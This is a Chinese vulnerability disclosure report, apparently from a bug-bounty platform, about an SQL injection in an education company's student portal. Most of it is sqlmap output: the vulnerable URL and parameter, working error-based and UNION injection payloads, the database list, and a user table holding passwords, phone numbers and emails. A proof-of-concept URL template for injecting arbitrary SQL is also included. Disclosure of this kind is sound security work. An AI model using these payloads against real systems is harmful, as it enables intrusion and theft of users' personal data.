漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:高思教育高危SQL注入
提交时间:2014-10-28 11:28
修复时间:2014-12-12 11:30
公开时间:2014-12-12 11:30
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情 披露状态:
2014-10-28: 细节已通知厂商并且等待厂商处理中 2014-10-28: 厂商已经确认,细节仅向厂商公开 2014-11-07: 细节向核心白帽子及相关领域专家公开 2014-11-17: 细节向普通白帽子公开 2014-11-27: 细节向实习白帽子公开 2014-12-12: 细节向公众公开
简要描述: 2011年荣获中国十大品牌课外辅导机构、最具品牌影响力教育机构;2011年获得了国际著名风险投资机构“晨兴创投”千万美元的投资。 权限均为SA,无任何限制,恰好出在核心学员用户系统,数据库用户权限过高,造成大量数据泄露
详细说明: 权限均为SA,无任何限制,恰好出在核心学员用户系统,dba权限,造成大量数据泄露
url:http://student.gaosiedu.com/KnowledgeTree/Function/KnowledgeTree.ashx?cmd=GetKnowledgeClassLesson&sKnowledgeCode=1
一个json接口,问题在参数sKnowledgeCode上
sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: sKnowledgeCode Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: cmd=GetKnowledgeClassLesson&sKnowledgeCode=1' AND 4392=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(106)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (4392=4392) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(99)+CHAR(113)+CHAR(121)+CHAR(113))) AND 'wQuN'='wQuN&_=1414160567019 Type: UNION query Title: Generic UNION query (NULL) - 14 columns Payload: cmd=GetKnowledgeClassLesson&sKnowledgeCode=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(106)+CHAR(106)+CHAR(120)+CHAR(113)+CHAR(67)+CHAR(79)+CHAR(78)+CHAR(73)+CHAR(106)+CHAR(81)+CHAR(80)+CHAR(106)+CHAR(121)+CHAR(76)+CHAR(113)+CHAR(99)+CHAR(113)+CHAR(121)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &_=1414160567019 --- web server operating system: Windows web application technology: ASP.NET, ASP.NET 4.0.30319, Nginx back-end DBMS: Microsoft SQL Server 2008 sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: sKnowledgeCode Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: cmd=GetKnowledgeClassLesson&sKnowledgeCode=1' AND 4392=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(106)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (4392=4392) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(99)+CHAR(113)+CHAR(121)+CHAR(113))) AND 'wQuN'='wQuN&_=1414160567019 Type: UNION query Title: Generic UNION query (NULL) - 14 columns Payload: cmd=GetKnowledgeClassLesson&sKnowledgeCode=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(106)+CHAR(106)+CHAR(120)+CHAR(113)+CHAR(67)+CHAR(79)+CHAR(78)+CHAR(73)+CHAR(106)+CHAR(81)+CHAR(80)+CHAR(106)+CHAR(121)+CHAR(76)+CHAR(113)+CHAR(99)+CHAR(113)+CHAR(121)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &_=1414160567019 --- web server operating system: Windows web application technology: ASP.NET, ASP.NET 4.0.30319, Nginx back-end DBMS operating system: Windows 7 Service Pack 1 back-end DBMS: Microsoft SQL Server 2008 banner: 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft CorporationEnterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)'
数据库: available databases [14]: [*] ASPState [*] distribution [*] EAP [*] GS [*] GS2K5 [*] gs2k5log [*] GSLog [*] GSTest [*] GSTestLog [*] master [*] model [*] msdb [*] Database: GS [2021 tables] 两千多张表,其中一些很敏感,涉及到用户数据和金钱 比如 管理员账户 用户账户余额 微信平台用户等等。。。。。
漏洞证明: http://student.gaosiedu.com/KnowledgeTree/Function/KnowledgeTree.ashx?cmd=GetKnowledgeClassLesson&sKnowledgeCode=1'UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,【sql语句】,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 例如
Table: GS_User [10 columns] +------------+---------+ | Column | Type | +------------+---------+ | bbsemail | varchar | | email | varchar | | id | bigint | | is_actived | tinyint | | is_parents | tinyint | | mobile | varchar | | password | varchar | | qq | varchar | | username | varchar | | weibo | varchar | +------------+---------+
修复方案: 过滤可能导致sql注入的字符,来个礼物吧后面还有:)
漏洞回应 厂商回应: 危害等级:高
漏洞Rank:10
确认时间:2014-10-28 17:22
厂商回复: 感谢提供漏洞信息
最新状态: 暂无